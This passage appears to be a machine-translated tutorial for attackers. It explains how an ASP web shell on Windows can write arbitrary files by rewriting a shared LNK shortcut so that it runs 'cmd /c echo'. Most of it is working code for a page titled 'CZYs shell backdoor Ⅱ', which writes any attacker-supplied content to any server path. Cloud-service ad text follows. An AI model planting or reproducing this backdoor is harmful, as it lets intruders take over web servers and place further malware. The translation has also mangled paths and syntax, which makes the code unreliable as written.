Now we can upgrade the code to write files, because it is indeed difficult for WSH hosts to write files. you may ask if the shell object has the file writing function? It is not introduced in MSDN, but the shell object can change the existing LNK/URL/PIF file and save it as another file name.
Can I write only LNK files? If we use the invokeverb method of the shell object to execute this LNK file, we won't be able to write any file! Why? Because the execution program specified in the LNK file can add parameters, we can call the echo function of cmd to write the file.
The good idea is here. The actual problems encountered in programming are as follows:
1. Find an LNK file that everyone can mimic. I found that:
"C: Documents and SettingsDefault User" start "Menu \ Program attachment" Default LNK file everyone
All users have the read permission by default.
2.when using cmd.exe/c echo to write a piece, ">", "<", double quotation marks, "&", and so on cannot be written directly before them.
Use the Escape Character ^. In addition, double quotation marks also have special meanings in vb. They must be replaced by chr (34.
<%
Path = trim (Request. querystring ("path "))
Text = trim (Request. querystring ("text "))
If text <> "" and path <> "" then
Text = replace (text, ">", "^> ")
Text = replace (text, "<", "^ <")
Text = replace (text, "&", "^ &")
Text = replace (text, chr (34), "^" & chr (34 ))
Set shell = server. createobject ("shell. application ")
Set shellfolder = shell. namespace ("C: Documents and SettingsDefault User" start "Menu \ Program attachment ")
Set shellfolderitem = shellfolder. parsename ("Notepad. lnk ")
Set objshelllink = shellfolderitem. getlink
Objshelllink. path = "cmd.exe"
Objshelllink. arguments = "/c echo" & text & ">" & path & "& del c: a. lnk"
Objshelllink. save ("c: a. lnk ")
Shell. namespace ("c:"). items. item ("a. lnk"). invokeverb
End if
%>
<Html>
<Title> CZYs shell backdoor Ⅱ </title>
<Form action = shell2.asp>
Path and file name: <input type = text name = path size = 40> <p>
File Content: <textarea name = text rows = 20 cols = 50> </textarea> <p>
<Input type = submit value = generate a File>
</Form>
</Html>
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
